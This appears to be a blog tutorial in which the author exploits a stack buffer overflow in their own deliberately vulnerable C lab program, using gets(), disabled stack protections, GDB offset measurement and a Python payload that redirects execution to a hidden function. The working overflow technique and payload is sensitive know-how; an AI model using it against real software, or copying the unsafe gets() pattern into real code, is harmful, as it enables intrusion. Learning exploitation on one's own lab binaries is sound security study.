C from the trenches: breaking the stack
Learning C by destroying it
I’m starting my journey into C, not to build enterprise software, but to understand binary exploitation. To do that, I have to understand how C handles or fails to handle memory.
Here is a simple program that takes user input. In a safe language like Go, this would be handled gracefully. In C, it’s dangerous.
#include <stdio.h>
void secret_function() { printf("Execution Hijacked!\n");}
void vuln_input() { char buffer[16]; // the bucket printf("Enter input: "); gets(buffer); // the hose}
int main() { vuln_input(); return 0;}Let me explain
When vuln_input() is called, the CPU sets up a Stack Frame. It looks like this in memory.
| Memory Address | Content | Purpose |
|---|---|---|
| 0x7fffffffe400 | buffer[0-15] | local storage for my text |
| 0x7fffffffe410 | Saved RBP | Base pointer (management) |
| 0x7fffffffe418 | Return address | The Target. Where the CPU goes next |
The gets() function does not stop at 16 bytes. If I provide 24 bytes, the last 8 bytes will land exactly on top of the Return Address. If I control the CPU. |
The Compilation
Modern systems have Canaries (security guards) that watch the stack. To learn, I compiled this without the guards:
gcc -fno-stack-protector -no-pie -o lab1 overflow.c
running the overflow.c outputs this:
welsh@0xwelsh$ gcc -fno-stack-protector -no-pie -o lab1 overflow.c/usr/bin/ld: /tmp/ccpQi7Ei.o: in function `vuln_input':overflow.c:(.text+0x3a): warning: the `gets' function is dangerous and should not be used.welsh@0xwelsh$This means the linker (ld) found the gets function in our system’s standard library, but it’s legally obligated to tell you what you’re doing is a terrible idea for production code.
Now we need to find the address of secret_function. In a real pwn challenge, you wouldn’t know where it is, but here, we’re going to look under the hood.
open the binary in GDB:
gdb ./lab1inside GDB, find the address:
print secret_function
we have our target: 0x401146
It says no debug info because we did not compile with the -g flag which adds extra source code info for us, but for pwn, we don’t need it. We have the raw memory address, and that’s all the CPU cares about.
Measuring the Distance
We know our buffer is 16 bytes, but we need to know exactly how many bytes of junk to send before our input starts overwriting the Return Address.
Inside GDB prompt, type run, the paste this exact string when it asks for input:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

the rbp is currently filled with EEEEFFFF.
the very next bytes in out input are what will land the Return Address.
Peeking the CPU’s registers using info registers, we see that $rbp was 0x4646464645454545. Translating Hex to ASCII, that is EEEEFFFF.
This means my input travelled past the 16-byte buffer, through the 8-byte base pointer, and is now sitting right at step of the Instruction Pointer. To hijack this program, we just need to send 24 bytes of garbage followed by my target address.
Now we craft the exploit
Since I am on a 64-bit system(I use Arch btw), we need to handle Little Endian format and 8-byte addresses.
The target address is 0x401146.
In 64-bit hex, that is 0x0000000000401146.
In “little endian”, that is \x46\x11\x40\x00\x00\x00\x00\x00
We will use python to generate the exact string of bytes and pipe it into the program.
python3 -c "import sys; sys.stdout.buffer.write(b'A'*24 + b'\x46\x11\x40\x00\x00\x00\x00\x00')" > payload./lab1 < payload
the output:
Enter input: Execution Hijacked!The program executed code it was never supposed to reach. This is the “Hello World” of exploit development.
What is Little Endian?
One of the biggest hurdles in C and assembly is Endianness. My target address was 0x401146, but I had to write it as \x46\x11\x40.
Why? Because x86_64 architecture stores the least significant byte first. It’s like writing the date as DD/MM/YYYY instead of YYYY/MM/DD.
This experiment has taught us three things:
- Memory is contiguous: A variable doesn’t exist in a vacuum; it has neighbors.
- Instruction pointers are king: if you control RIP, you control the program
- C is dangerous by design: it trusts the programmer. As a security researcher, my job is to find where that trust is misplaced.
Next reads
View all →9 Sept
Mini-Readelf: Gluing It All Together
The capstone. Four parts of pieces, headers, sections, symbols, relocations, joined into one tool that reads any ELF. The only new mechanic is the sh_link chain: offset into a table that holds offsets into a table that holds strings.
5 Sept
Relocations: How PIE Binaries Fix Their Addresses
A PIE binary can't write final addresses because ASLR moves it. The linker leaves placeholders and the loader patches them after mapping. That's a relocation: R_X86_64_RELATIVE, GLOB_DAT and JUMP_SLOT.
4 Sept
Symbol Tables: What Function Names Actually Are
Function names in a binary are just entries in a table. Two tables actually: .symtab and .dynsym. Here's what each is for, how the struct works, and how to resolve a name from an address.
Get posts by email
One email when I publish, not a drip, not weekly. Sign up and I'll only write when there's something new.
You won't get mail just for signing up. Unsubscribe any time.